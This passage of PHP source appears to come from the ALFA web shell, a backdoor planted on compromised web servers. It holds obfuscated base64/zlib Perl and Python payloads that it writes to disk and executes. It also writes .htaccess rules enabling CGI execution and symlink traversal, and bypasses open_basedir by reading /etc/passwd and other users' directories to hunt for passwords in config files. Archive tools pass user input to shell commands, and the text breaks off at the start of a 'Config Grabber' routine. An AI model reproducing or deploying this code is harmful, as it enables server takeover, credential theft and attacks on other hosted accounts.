Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64(\"H4sIAAAAAAAA\/6UZDXfTRvKvLBthSRBbtktazrJcQuJA3iUhlxju9aJgZGlt70OWVH2QpMb97Tezu7KkEKC0yUORZud7ZmdmlyJj5PT4dDwYvPQy9vMzuwDAEQ+ZBETeignQwU1AdG+WTRMvX+q25i\/4NOApcQg8EcsoFw2ta5q29l8enU1guWtrZ5ODVXDJEviiLWprbyN+W0FsgBzEq5UXBRO+YnGRHxapl\/M4gtUekF8u45vDO5DB\/TdFnhQ5wm0NtBKC4WvB8jBe8Ih8\/ozvyU3BA0MbmvhNvXDuoYhSoKFU+5VUig1ITSlTIJ+DwXVk6gcU8GhyE1DAOAdL7\/OjritQLES4YOAY5udx2sQh\/VGrR3qjVl\/g4ltPwIAoK2bkgnnBuZeCy9dh7HshMZ7wyAQeL6aEz+FpK7DGd4kG7\/D8yO7g+ckLQe5pEeY88dL8KE5Xh17uAak2Pnu31g\/enE3GZ5Pp5Lfzsb4hzp\/EWpXIrjUH9HYA+DaZxUUUeOmdY3Semppl87khOVyM\/\/N2fDmZno4nr98cAg\/2O6GvxhNqrjUebQUB0sVv08vJxfHZK31jb1iYfZvF+ZtL5JGC6cbl5PD4DKzh0e49vU\/GZ68mr\/WNaW+27P6uTaDwSwUBtfV2W+9oPftFyDPMriwJeW5YWxRL6APOfQ0asvRlHCCVhthXvesmGDRwUzfCf5\/hT2SVy0jxwdZKYr18\/ZNkgkKzAJVHa30Ouw+VRnuIQKpYAHdcxrx3XIq2uLQkk\/i92pdgTS1rcR+WIQy8A0nk9G1licav4ZU\/fQrOKQES\/33nqZAoVKwvAXfDvVFKQBYqBSATlYniDVkY742GW0zzswBo8KWZQsUt7mOj0zGtxPM\/GtSnu2TJbg2tZ5rWgglDUJKwFSjsDaYXW78Q+acC1yoDBiYyz1\/CBzG6pNMh2g6AMVkr49ynFgHxRm0XVZwcyQmxd0nfVEZ+V8kfNKUDZdDtUtzfRsDmPGJQvspVLKZ1TGX1BovF2ySMvQDL9dpfxomhTbwUCuAZBMsU3GoAdNhBkaYsyg95aqJ+K+vKdV3rGva4Nkm9KJuzFJmJtUfG1XvrvetePzG1R3adESqh6h\/uGrWEhJf8D5TDo9yAJF1gM2hmtEksqOn9ZyYWlThhkfH2\/OTN\/uHR8cl4l9BRTQw1zfWMR6s4YDUkYZaspnaSgiBSrZF7wmw\/jLMGsSKhpbEsIPe1\/\/fLjhtRhahPlowgQ0L1zkz1w4aXOzolN15GChEJ4JcVvs+ybF6E4V1Hl8mppB55qBr0mkfUlvE7xwUUrQIJ9YqsNSxbWJWGPsSKpaOhAMQRUKx47tB8ybOO\/OgEPPNmwNXJ04LZYiXoQIYUzJnlsWcUEct8L2EGi3zw5NuLY+i1SRwBZ6OObUKaUQJI+V3CHLotolUNpWTF8mUcOLJcE8\/HHu2AY7RLP+VJfgJ9CUHgktEw9GYsJEDsUOWaFKBZ4kWEA4vpdI6uLBIAWggdkWGWp3G0GLWiWZbY8nmwjCGCxBMxAESJMbQE99GQRzgNZPldCCqDJ5LQuxtEYByYglK2ksF5\/tKLFogW+8UKrO9ABMchw9eXd8eB4epbnVzd7PAoYunryemJI7yE8rOr7nVHDESUSC8hlBJRGumckgzyx6E\/7dFSM7kiI1XSlF8yRkrFLYXEWfIgYFHJOdgig6urHSzc\/HUq70sRIpbwR6WVLhr7FKwSTThleZFGog3jCxFpaNcTWEGqzD33Fkx2prU2FvkVVPo16439EIJoDFfvvfYf++3\/ddv\/ujYt\/bHeKSJZMF8\/obtQLC22KPftQQyaR3kbDR6QnN3m1jJfhdhQtlt2iJDRcAl6jYY5z0M2OkDBZHZH9k+O9smE7Z+SNjl4dUzOWRoOLYk0FHk0erKGCTSEEiwTabOzTYv1HPyYD0jKF8vcjj+xFAA3A+l224\/DOB3s9Pfm827XvuFBvhz0nnWTW7tMTCiLyLc9g6Hto43Kt7dMCAtDnmQ8s2+WPGdt2BI+WBjFN6mX2BuR7+sVlB0etYX8AZRR4A30OYdxsO2FfBENyAqUCZk9i1MICuAktySLQx4QKHX2DLy6SHGmAd9hBYQNDt4E7Nt2tvQC1KMLv8+Aaqc7\/qn7bF9xaqdewItsgEvKNtLfQwV+xAy\/SDPwEUlijgn4FcdIY4nc6+u6zmiDikHI5nmpSE94YiO2wpXYCnKPXa+VwFJenZcI7sNukpEkcYoF4yEHbHb8VbD+W9xK3\/2CKj8QzwekJV4Q8GjRVk7KcqjKA7L35QpDTRC+waBAaD3YyliTlH6NvK5pX1O+FFzTpW7PzpH4KQUPej8Dmkr8vef+3t7zMvG73cfVDvGKPLY3WL5xgw0tuTVnOP3GEdamb1VlcDXW4zkgZAb2qNlCSHToTlf8QGGNE+lKh8IXpkbtU74KtWrfS4ZOFwB0FjCTpkGVrJouVBMlCgJJR1dkOKtKCXiEkcwLSAvS9xPPOHRh8qcAq68XixU0\/I4fr4bWbESusf5GeVV\/hzl2biLd7NAeDBJSS\/QeJT7sJdw\/4GihJ34rxzu0D4rmyCJoECmt57DrHPqOpYEXeWVfQhJQo2HXTr8\/7vefi5XLSnNysOCqNs5GSm0CtTeC8yxYn8cEmz5LIcA4BHV0iZcH+MDG0mwRR3EM9pZTkNJ7RDutB8YfY9uHOrTiCA\/0FfzFrMEUwhpPa3LUDcIJJPgxFgLktdbOUxh28ERXnb9rPWlExBEc4irmEjlH6Cqfuz\/9Ai61ddBze9WAKolh5cX3KGrOodWA8yVNfzZnvT2gqalV4l+7GqF2NQ2iM2Y\/PA3KleW9Jej8jVWYlhxXX8JOWzdmSFeHSKu7no7u6hux6v\/QhOlXE+Y\/nU+3o9aPjKJ\/a7ICgEweSO46A6wWJbkvp0yoUNvZr\/sXZzJfpus97HI2bM6NimQ0oo3ZWD6\/S7+USkZiBg65\/9GhEHw\/juYcdpur76eM3MUFnFvg5VdIAJUBQCQSQk6ARA2Fcw8+7K1Or2M4p1WDJWToPxoqm9eAa+D0SG5cc+2FHqjbNatJUKASduszhiV55d3yVbEiORCTGM6IX7lTzBjYHhiZWZ7BxrfML3JWMlxvWtsrOPteOm1vuC4PLo7PJ9Oz\/dMxHDNru73CGF+8G19sMZqna1Jex9iaTN0ShIdW7aKISmUcEjDcFtOZuJyVp2kfr8C0xqD9AFaAWPJSoIH6QV1ufsCTdGMN40XFwbyhAl4TvHezJ37gZk\/xxgkvz2CwgBOivO75LoF9n0LGv3lFqi5oOzWovdHehMEDR4nKPdQPiFuv6S6F6qtY4aKSWwGV+V9xjWT8wbQ3rXsnHLy\/wXvfv9RRth3DfVFPjhqmLO73WuIw4J\/KBqGGQ5xmBn0cx\/SRGD+k5YOHuomaMUUDqgKybUCySYOI0TD5tqjGYFoKL4dKksY3maP3uzrJEphJ\/CWDoqKLygCiRTqorMaMUqdPc92qLqvKBPiLcawbU0+Pen3QLo9frfX9k4tTcQ3qtprb35b14ytFQd0of\/EfDcD2s9Or8g3v6chnaouLKwWUmLvbemPi0SdkxrCxPgJWU3XgxRvQ1I1MvE1VCaBN8QC7AWndRnGsMlJo+GU13GzKFLLK+JQxtpLaSEbt1lfHJLt1b1Kz\/w8wblS+FRoAAA==\")));';;\n$py = '#!\/usr\/bin\/python'.\"\\nimport zlib, base64\\n\".'eval(compile(zlib.decompress(base64.b64decode(\"eJylF9ty2zb22foKDLxbUqurFTvN6Na6Xqf1bNNmErcvtkcDEqCICQlwQdC26vF++54DkBLVaOO2a8\/YBM79fmDNZto5knmhjSXxWtpo5v8NhWJRJsJuRzzGorCAVbCy7NSo5absA15fl\/21sAjpR6wUr0\/7lckyGXUSo3NiZS5IQ2FNgueGgzUsFhGLP3nUj9ZItb76uUFvzjWjBrkBFwC1K1CtIxOiS9D2XhqthikrV5\/EJqQfLz5cvb9e\/XT+7pJ2QfkyNrKwioFCixbBzR7iXUdkpfg9NqUdLhLCsoRd5DyMkd1RnMqMr0rLpeqT7UFX1rMvdCHUBHD3UYdxpkt06tGREWWVIXabeGgE4+EeEd62qWxlFPHEnUSbHDms5fCtFBn\/aLVha8SMcw4AhA8hPvcsq0QYxEG3w6X5HMABAH4EIjDNk\/owDiv170pbEfrgDqPXp1zEmosQsLqOCBgCkWf7EhFgdVuS\/MfNePrqjiwWJIg5CdC3yqvgzqSHEuBvMMNvhOB38cADwLyojBHK\/tNJbwKE5F3wZJFB0oTBrQr6gTdQaeu4MQWcd7SBA0hFMh2zrAwxwAc5Byj2AOs6a0DCC1z32YIqHYjdyjsPs4bZdMiiEv+HdEi7nfeQ\/QVmSXBD5nCvoI42mVjQWGfaTI\/Hr74+GY9ndBn06jrEsFalMGG3F8xHSLL89gXKvXK4\/PDr5Ye6HLYcDsqeRIk4OXMcdmbtSO7+FqDPVysso9XKRXi1yplUqxWG2ZUwoRdaWSAd2E0hpsSKRztKbZ7dmltFG6RgjlfLeQrVsZxbaTOxvICE4iTakPMf356Ta3H+jgzIxfdX5P3GplrNRx5tngvLoMaYKYVd0F+u3w7e0OXcWbL8xxNUVyaVmCqtxOz5eLVKUNuqeEoyzeyUGLlO7UzfCwMXD1OSSs6FmnkPkOPJWZKAEx8kt+mUnJyOi8cZlyWkx2YKoUfWgwji\/2mGhg12fAQUSlHKcvaQSisG4LEYrFf6wbBi9pyxSGRPOTNrqQZOBWCOvIHeSsimAcvkWk1JDupkYhZpwwXoc1I8klJnkkOD4DPsl2ujK8Wn2EAVCMEgAfbjoEwZRz3G8HsKVMfjy1fj0\/Oa08AwLqtyiqDGuMkZKvBnzIgrU6KXCg0xFOZ\/OMYbi+NBq\/VTW2e0oQ5DJhK79bLzxLNURWVvMGsWZRXl0t491QIbeW1eLr6H3VTHEjqnWotDDng+hoby9Je4Nb77GlU+EM8D0grGYVCsB7WTSssMYJ99DhGoCd4\/Y1AgtOwJxoL8TdT67aV2S\/uW8o3gli5te47fup9G8PTkNaDVxX\/2Jj47e1MbCI3k77siYZXVs2doA67G5iNftZHmG6IVxJMvKNdxlUMuYrO6zAR+fre54uFtAK6+hRabAAK0zBkl0dpJXNDjsfuhxOrCu3JB4YSp0Tr6T6dW65wKdLq7QGcBM28adIJYYLIs5wn0IVKLgkDSJTTcaNdlwCOClIyTryB972UpYTki\/3HX9enbNfS2bBjrfD6KoP3NR8gS7G8kWFyoiHfzgp5QUmuJ3qMkhlrC+gFHOz3xXDt+QSegqEUW\/IA\/2mxqOxKowwX9VRjOFKMEs8IzAcX2LD2eTC4nkzcO8nFnC7lYy20jjZa1KQR6tRKxBY9YTV6YG0hlOf4xje7LoJn5RJbkJ8hDt0m5YU9bzZ7L+2bU1DWDQZ5OMEudphc6z3GGTw\/Npbr0YCz1UVSfNBPJ6wTMl\/Ni+UUhe5XaiG2qjBj9UII3wfNlAUGKUxF\/WtAEZrygtYlBIjMR4PDHTQuttG7RPjpCQIK7Wr2F3XjUO4TVGwqEQEHZK9gwtth9ksnSuhXiiJA2k5vt4a7jBGjj4NCPc6dAA3a0KKOBDvEDx52HEOCrWnsIbm8IDT\/D727xqyxb4S2QtTYbWNBGuKwlqkHEbTjcYkNIHiIo8gcDbPfZ1wvwTgLcYfaCAMiNEHQDz9gdqy6cV4gwOhlPTrdk9W5xjVMvEVDOhPZgwoQNu26Pkn99N6T7+MF1KpxEQoNeonoB1BYrSVVg0wIeZRXHoixR+GaI66d\/GpFL909qeAkIY5w3PUM4dY7q5XCbAR60XSnrJXfffc2u2z0sxPPB59i2ZkZNejYpPioOFOA8cp0OXg1a+am5oDaV4FV3GMKIxibFF9ZUYtaCpL8DySTcg0q+WNwGKbTuJ3fPh+5pAXdBr15xe8Ft8OyAcQ2MrGZhpUQZs0KEQuEb4ZcPV1DdBfQGCHcbu9vtzvZY\/zFqvqOmBJMXKhWmgoDWBnPo\/c8frylhMfp1AUHfvfsg+Mu52zGI2zGo3\/waHpwSrwXdX35xGfY7ey8ge\/QYH0rATxTi2rCJKdmX4v3ZgJuT79+vxluhyyVdfqXgoTBr\/32RU+oVACu0ijOJbQsCGWuVSJPD8D03gmx0BYkOH99AMOtoApEL7uwZk5nUj1DX8WZbnX7QOfQ\/HBUmxza4y8xDSbgbu38mGf+P2AOSd0wOL2cJq7B1mg44s+wPJ4TfVROcnHVXMPiYwBmEjt0+H9APzcPJLbZ70bpINbznCXO9BvckhzEfOe5NPtSzqVma3dbmw7eVjFFMcdh9aaHa6oRrlYT5bX64fvfjwjnItcOb8d0QMYC7dxDebmvFfdf5d7Ytif303E+4Oh28ln+xiL5AxD6X4FNut2jtMm7kdi6c\/LB94iqKz8jgv11NVZo=\")),\\'&lt;string>\\',\\'exec\\'))';\nif($_POST&#91;'alfa1']=='perl'){$code = $perl;}else{$code = $py;}\nif(__write_file($name,$code)){\n@chmod($name,0755);\necho '&lt;iframe src=\"'.__ALFA_DATA_FOLDER__.'\/cgialfa\/'.$name.'\" width=\"100%\" height=\"600px\" frameborder=\"0\" style=\"opacity:0.9;filter: alpha(opacity=9);overflow:auto;\">&lt;\/iframe>';\n}\n}\necho $div;\nalfafooter();\n}\nfunction alfacgihtaccess($m,$d='', $symname=false){\n$readme = \"\";\nif($symname){$readme=\"\\nReadmeName \".trim($symname);}\nif($m=='cgi'){\n$code = \"#Coded By Sole Sad &amp; Invisible\\nOptions FollowSymLinks MultiViews Indexes ExecCGI\\nAddType application\/x-httpd-cgi .alfa\\nAddHandler cgi-script .alfa\";\n}elseif($m=='sym'){\n$code = \"#Coded By Sole Sad &amp; Invisible\\nOptions Indexes FollowSymLinks\\nDirectoryIndex solevisible.phtm\\nAddType text\/plain php html php4 phtml\\nAddHandler text\/plain php html php4 phtml{$readme}\\nOptions all\";\n}elseif($m=='shtml'){\n$code = \"Options +Includes\\nAddType text\/html .shtml\\nAddHandler server-parsed .shtml\";\n}\n@__write_file($d . \".htaccess\", $code);\n}\nfunction alfabasedir(){\nalfahead();\necho '&lt;div class=header>\n&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| Open Base Dir |&lt;\/div>&lt;\/p>&lt;\/center>';\n$passwd = _alfa_file('\/etc\/passwd');\nif(is_array($passwd)){\n$users = array();\n$makepwd = alfaMakePwd();\n$basedir = @ini_get('open_basedir');\n$safe_mode = @ini_get('safe_mode');\nif(_alfa_can_runCommand(true,false)&amp;&amp;($basedir||$safe_mode)){\n$bash = \"fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E\/cwgDL\/N+M+\/yQjxbJ+KO3d4\/rHjNusGpZL2DmEITTP\/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA\/X7gePk3UtIPiddMe2dOe8wQN7NP\";\n$tmp_path = alfaWriteTocgiapi(\"basedir.alfa\",$bash);\n$bash_users  = alfaEx(\"cd \".$tmp_path.\"\/alfacgiapi;sh basedir.alfa \".$makepwd,false,true,true);\n$users = json_decode($bash_users, true);\n$x=count($users);\nif($x>=2){array_pop($users);--$x;}\n}\nif(!$basedir&amp;&amp;!$safe_mode){\n$x=0;\nforeach($passwd as $str){\n$pos = strpos($str,':');\n$username = substr($str,0,$pos);\n$dirz = str_replace(\"{user}\", $username, $makepwd);\nif(($username != '')){\nif (@is_readable($dirz)){\narray_push($users,$username);\n$x++;\n}}}\n}\necho '&lt;br>&lt;br>';\necho \"&lt;b>&lt;font color=\\\"#00A220\\\">&#91;+] Founded \".sizeof($passwd).\" entrys in \/etc\/passwd\\n\".\"&lt;br \/>&lt;\/font>&lt;\/b>\";\necho \"&lt;b>&lt;font color=\\\"#FFFFFF\\\">&#91;+] Founded \".$x.\" readable \".str_replace(\"{user}\", \"*\", $makepwd).\" directories\\n\".\"&lt;br \/>&lt;\/font>&lt;\/b>\";\necho \"&lt;b>&lt;font color=\\\"#FF0000\\\">&#91;~] Searching for passwords in config files...\\n\\n\".\"&lt;br \/>&lt;br \/>&lt;br \/>&lt;\/font>&lt;\/b>\";\nforeach($users as $user){\nif(empty($user))continue;\n$path = str_replace(\"{user}\", $user, $makepwd);\necho \"&lt;form method=post onsubmit='g(\\\"FilesMan\\\",this.c.value,\\\"\\\");return false;'>&lt;span>&lt;font color=#27979B>Change Dir &lt;font color=#FFFF01>..:: &lt;\/font>&lt;font color=red>&lt;b>$user&lt;\/b>&lt;\/font>&lt;font color=#FFFF01> ::..&lt;\/font>&lt;\/font>&lt;\/span>&lt;br>&lt;input class='foottable' type=text name=c value='$path'>&lt;input type=submit value='>>'>&lt;\/form>&lt;br>\";\n}\n}else{echo('&lt;b> &lt;center>&lt;font color=\"#FFFFFF\">&#91;-] Error : coudn`t read \/etc\/passwd &#91;-]&lt;\/font>&lt;\/center>&lt;\/b>');}\necho '&lt;br>&lt;br>&lt;\/b>';\necho '&lt;\/div>';\nalfafooter();\n}\nfunction alfaziper(){\nalfahead();\nAlfaNum(8,9,10);\necho '&lt;div class=header>&lt;p>&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| Compressor |&lt;\/div>&lt;\/p>\n&lt;form onSubmit=\"g(\\'ziper\\',null,null,null,this.dirzip.value,this.zipfile.value,\\'>>\\');return false;\" method=\"post\">\n&lt;div class=\"txtfont\">Dir\/File: &lt;\/div> &lt;input type=\"text\" name=\"dirzip\" value=\"'.(!empty($_POST&#91;'alfa3'])?htmlspecialchars($_POST&#91;'alfa3']):htmlspecialchars($GLOBALS&#91;'cwd'])).'\" size=\"60\"\/>\n&lt;div class=\"txtfont\">Save Dir: &lt;\/div> &lt;input type=\"text\" name=\"zipfile\" value=\"'.$GLOBALS&#91;'cwd'].'alfa.zip\" size=\"60\"\/>\n&lt;input type=\"submit\" value=\" \" name=\"ziper\" \/>\n&lt;\/form>&lt;\/center>&lt;\/p>';\nif(isset($_POST&#91;'alfa5']) &amp;&amp; ($_POST&#91;'alfa5'] == '>>')){\n$dirzip = $_POST&#91;'alfa3'];\n$zipfile = $_POST&#91;'alfa4'];\nif($GLOBALS&#91;'sys']!='unix'&amp;&amp;_alfa_can_runCommand(true,true)){\nalfaEx(\"powershell Compress-Archive -Path '\".addslashes($dirzip).\"' -DestinationPath '\".addslashes(basename($zipfile)).\"'\");\necho __pre().'&lt;center>&lt;p>Done -> &lt;b>&lt;font color=\"green\">'.$zipfile.'&lt;\/font>&lt;\/b>&lt;\/p>&lt;\/center>';\n}elseif($GLOBALS&#91;'sys']=='unix'&amp;&amp;_alfa_can_runCommand(true,true)){\nalfaEx(\"cd '\".addslashes(dirname($zipfile)).\"';zip -r '\".addslashes(basename($zipfile)).\"' '\".addslashes($dirzip).\"'\");\necho __pre().'&lt;center>&lt;p>Done -> &lt;b>&lt;font color=\"green\">'.$zipfile.'&lt;\/font>&lt;\/b>&lt;\/p>&lt;\/center>';\n}elseif(class_exists('ZipArchive')){\nif(__alfaziper($dirzip, $zipfile)){\necho __pre().'&lt;center>&lt;p>&lt;font color=\"green\">Success...!&lt;br>'.$zipfile.'&lt;\/font>&lt;\/p>&lt;\/center>';\n}else{echo __pre().'&lt;center>&lt;p>&lt;font color=\"red\">ERROR!!!...&lt;\/font>&lt;\/p>&lt;\/center>';}\n}\n}\necho '&lt;\/div>';\nalfafooter();\n}\nfunction __alfaziper($source,$destination){\nif(!extension_loaded('zip')||!file_exists($source)){\nreturn false;\n}\n$zip=new ZipArchive();\nif(!$zip->open($destination,ZIPARCHIVE::CREATE)){\nreturn false;\n}\n$source=str_replace('\\\\','\/',realpath($source));\nif(is_dir($source)===true){\n$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);\nforeach($files as $file){\n$file=str_replace('\\\\','\/',$file);\nif(in_array(substr($file,strrpos($file,'\/')+1),array('.','..')))continue;\n$file=realpath($file);\nif(is_dir($file)===true){\n$zip->addEmptyDir(str_replace($source.'\/','',$file.'\/'));\n}else if(is_file($file)===true){\n$zip->addFromString(str_replace($source.'\/','',$file),file_get_contents($file));\n}\n}\n}else if(is_file($source)===true){\n$zip->addFromString(basename($source),file_get_contents($source));\n}\nreturn $zip->close();\n}\nfunction alfadeziper(){\nalfahead();\nAlfaNum(8,9,10);\necho '&lt;div class=header>&lt;p>&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| DeCompressor |&lt;\/div>&lt;\/p>\n&lt;form onSubmit=\"g(\\'deziper\\',null,null,null,this.dirzip.value,this.zipfile.value,\\'>>\\');return false;\" method=\"post\">\n&lt;div class=\"txtfont\">File: &lt;\/div> &lt;input type=\"text\" name=\"dirzip\" value=\"'.(!empty($_POST&#91;'alfa3'])?htmlspecialchars($_POST&#91;'alfa3']):htmlspecialchars($GLOBALS&#91;'cwd'])).'\" size=\"60\"\/>\n&lt;div class=\"txtfont\">Extract To: &lt;\/div> &lt;input type=\"text\" name=\"zipfile\" value=\"'.$GLOBALS&#91;'cwd'].'\" size=\"60\"\/>\n&lt;input type=\"submit\" value=\" \" name=\"ziper\" \/>\n&lt;\/form>&lt;\/center>&lt;\/p>';\nif(isset($_POST&#91;'alfa5']) &amp;&amp; ($_POST&#91;'alfa5'] == '>>')){\n$dirzip = $_POST&#91;'alfa3'];\n$zipfile = $_POST&#91;'alfa4'];\nif(@!is_dir($zipfile)){\n@mkdir($zipfile, 0777, true);\n}\n$finfo = \"\";\n$file_type = \"\";\nif(function_exists('finfo_open')){\n$finfo = @finfo_open(FILEINFO_MIME_TYPE);\n$file_type = @finfo_file($finfo, $dirzip);\n@finfo_close($finfo);\n}else{\nif($GLOBALS&#91;'sys']=='unix'&amp;&amp;_alfa_can_runCommand(true,true)){\n$file_type = alfaEx('file -b --mime-type ' . $dirzip);\n}\n}\nif($GLOBALS&#91;'sys']!='unix'&amp;&amp;_alfa_can_runCommand(true,true)){\nalfaEx(\"powershell expand-archive -path '\".addslashes($dirzip).\"' -destinationpath '\".addslashes(basename($zipfile)).\"'\");\necho __pre().'&lt;center>&lt;p>Done -> &lt;b>&lt;font color=\"green\">'.$zipfile.'&lt;\/font>&lt;\/b>&lt;\/p>&lt;\/center>';\n}elseif($GLOBALS&#91;'sys']=='unix'&amp;&amp;!empty($file_type)&amp;&amp;_alfa_can_runCommand(true,true)&amp;&amp;(strlen(alfaEx('which unzip')) > 0||strlen(alfaEx('which tar')) > 0||strlen(alfaEx('which gunzip')) > 0)){\nswitch ($file_type) {\ncase 'application\/zip':\nalfaEx(\"cd '\".addslashes($zipfile).\"';unzip '\".addslashes($dirzip).\"'\");\nbreak;\ncase 'application\/x-tar': case 'application\/x-gzip': case 'application\/x-gtar':\nif(strstr(basename($dirzip), \".tar.gz\")||strstr(basename($dirzip), \".tar\")){\nalfaEx(\"cd '\".addslashes($zipfile).\"';tar xzf '\".addslashes($dirzip).\"'\");\n}else{\nalfaEx(\"cd '\".addslashes($zipfile).\"';gunzip '\".addslashes($dirzip).\"'\");\n}\nbreak;\n}\necho __pre().'&lt;center>&lt;p>Done -> &lt;b>&lt;font color=\"green\">'.$zipfile.'&lt;\/font> &lt;a style=\"cursor:pointer;\" onclick=\"g(\\'FilesMan\\',\\''.$zipfile.'\\');\">&#91; View Folder ]&lt;\/a>&lt;\/b>&lt;\/p>&lt;\/center>';\n}elseif(class_exists('ZipArchive')){\n$itsok = false;\nif(emtpy($file_type)){\n$file_type = \"application\/zip\";\n}\nswitch ($file_type) {\ncase 'application\/zip':\n$zip = new ZipArchive;\n$res = $zip->open($dirzip);\nif ($res) {\n$zip->extractTo($zipfile);\n$zip->close();\n$itsok = true;\n}\nbreak;\ncase 'application\/x-tar': case 'application\/x-gzip': case 'application\/x-gtar':\nif(strstr(basename($dirzip), \".tar.gz\")){\n$new_file = $zipfile .'\/'. basename($dirzip);\n@copy($dirzip, $new_file);\n$new_tar = str_replace(\".tar.gz\", \".tar\", $new_file);\ntry {\n$p = new PharData($new_file);\n$p->decompress();\n$phar = new PharData($new_tar);\n$phar->extractTo($zipfile);\n@unlink($new_file);\n@unlink($new_tar);\n$itsok = true;\n} catch (Exception $e) {\n}\n}else{\ntry {\n$phar = new PharData($dirzip);\n$phar->extractTo($zipfile);\n$itsok = true;\n} catch (Exception $e) {\n}\n}\nbreak;\n}\nif($itsok){\necho __pre().'&lt;center>&lt;p>&lt;font color=\"green\">Success...!&lt;br>'.$zipfile.'&lt;\/font> &lt;a style=\"cursor:pointer;\" onclick=\"g(\\'FilesMan\\',\\''.$zipfile.'\\');\">&#91; View Folder ]&lt;\/a>&lt;\/p>&lt;\/center>';\n}else{echo __pre().'&lt;center>&lt;p>&lt;font color=\"red\">ERROR!!!...&lt;\/font>&lt;\/p>&lt;\/center>';}\n}\n}\necho '&lt;\/div>';\nalfafooter();\n}\nfunction alfaarchive_manager(){\nalfahead();\n$file = $_POST&#91;'alfa2'];\nif(!file_exists($file)){\n$file = $GLOBALS&#91;'cwd'];\n}\n$rand_id = rand(9999, 999999);\necho '&lt;div class=header>&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| Archive Manager |&lt;\/div>&lt;\/p>';\necho '&lt;form name=\"srch\" onSubmit=\"g(\\'archive_manager\\',null,null,this.file.value,null,null,\\'>>\\');return false;\" method=\\'post\\'>\n&lt;div class=\"txtfont\">\nArchive file: &lt;input size=\"50\" id=\"target\" type=\"text\" name=\"file\" value=\"'.$file.'\">\n&lt;input type=\"submit\" name=\"btn\" value=\" \">&lt;\/div>&lt;\/form>&lt;\/center>&lt;br>';\nif($_POST&#91;'alfa5']=='>>'){\n\/\/echo __pre();\necho '&lt;hr>&lt;div style=\"margin-left: 12px;\" archive_full=\"phar:\/\/'.$file.'\" archive_name=\"'.basename($file).'\" id=\"archive_dir_'.$rand_id.'\" class=\"archive_dir_holder\">&lt;span>PWD: &lt;\/span>&lt;div class=\"archive_pwd_holder\" style=\"display:inline-block\">&lt;a>\/&lt;\/a>&lt;\/div>&lt;\/div>';\necho '&lt;div style=\"padding: 10px;\" id=\"archive_base_'.$rand_id.'\">';\n__alfa_open_archive_file($file, $rand_id);\necho '&lt;\/div>';\n}\necho '&lt;\/div>';\nalfafooter();\n}\nfunction __alfa_open_archive_file($arch, $base_id=0){\ntry{\n$files = array();\n$dirs = array();\n$archive = new PharData($arch);\n foreach($archive as $file) {\n $file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));\n if($file->isDir()) {\n $dirs&#91;] = array(\"name\" => $file->getFileName(), \"path\" => $file->getPathname(), \"type\" => \"dir\", \"modify\" => $file_modify);\n }else{\n $file_size = @filesize($file->getPathname());\n $files&#91;] = array(\"name\" => $file->getFileName(), \"path\" => $file->getPathname(), \"type\" => \"file\",  \"modify\" => $file_modify, \"size\" => $file_size);\n }\n }\n function __alfa_open_archive_usort($a, $b){\n return strcmp(strtolower($a&#91;'name']), strtolower($b&#91;'name']))*1;\n }\n usort($dirs, \"__alfa_open_archive_usort\");\n usort($files, \"__alfa_open_archive_usort\");\n $files = array_merge($dirs, $files);\n echo '&lt;table width=\"100%\" class=\"main\" cellspacing=\"0\" cellpadding=\"2\">&lt;tbody>&lt;tr>&lt;th>Name&lt;\/th>&lt;th>Size&lt;\/th>&lt;th>Modify&lt;\/th>&lt;th>Actions&lt;\/th>&lt;\/tr>';\n $icon = '&lt;img class=\"archive-icons\" src=\"'.findicon('..','dir').'\" width=\"30\" height=\"30\">';\n echo '&lt;tr>&lt;th>&lt;a base_id=\"'.$base_id.'\" class=\"archive-file-row\" fname=\"..\" onclick=\"alfaOpenArchive(this);\" path=\"'.dirname($arch.'.php').'\">'.$icon.'&lt;span class=\"archive-name archive-type-dir\">| .. |&lt;\/span>&lt;\/a>&lt;td>dir&lt;\/td>&lt;td>-&lt;\/td>&lt;td>-&lt;\/td>&lt;\/tr>';\n foreach($files as $file){\n $icon = '&lt;img class=\"archive-icons\" src=\"'.findicon($file&#91;'name'],$file&#91;'type']).'\" width=\"30\" height=\"30\">';\n if($file&#91;\"type\"] == \"dir\"){\n echo '&lt;tr>&lt;th>&lt;a base_id=\"'.$base_id.'\" class=\"archive-file-row\" onclick=\"alfaOpenArchive(this);\" path=\"'.$file&#91;\"path\"].'\" fname=\"'.$file&#91;\"name\"].'\">'.$icon.'&lt;span class=\"archive-name archive-type-dir\">| '.$file&#91;\"name\"].' |&lt;\/span>&lt;\/a>&lt;td>dir&lt;\/td>&lt;td>'.$file&#91;\"modify\"].'&lt;\/td>&lt;td>-&lt;\/td>&lt;\/tr>';\n }else{\necho \"&lt;tr>&lt;th>&lt;a base_id='\".$base_id.\"' class='archive-file-row' onclick=\\\"editor('\".$file&#91;\"path\"].\"','auto','','','','file');\\\">\".$icon.\"&lt;span class='archive-name archive-type-file' fname='\".$file&#91;\"name\"].\"'>\".$file&#91;\"name\"].\"&lt;\/span>&lt;\/a>&lt;td>\".alfaSize($file&#91;\"size\"]).\"&lt;\/td>&lt;td>\".$file&#91;\"modify\"].\"&lt;\/td>&lt;td>-&lt;\/td>&lt;\/tr>\";\n\n}\n }\n  echo '&lt;\/table>';\n}catch(Exception $e){\necho(\"0\");\n}\n}\nfunction alfaopen_archive_dir(){\n$dir = $_POST&#91;\"alfa1\"];\n$base_id = $_POST&#91;\"alfa2\"];\n__alfa_open_archive_file($dir, $base_id);\n}\nfunction alfaconfig_grabber(){\nalfahead();\necho '&lt;div class=header>&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| Config Grabber |&lt;\/div>&lt;\/p>';\necho '&lt;form name=\"srch\" onSubmit=\"g(\\'config_grabber\\',null,null,this.dir.value,this.ext.value,null,\\'>>\\');return false;\" method=\\'post\\'>\n&lt;div class=\"txtfont\">\nDir: &lt;input 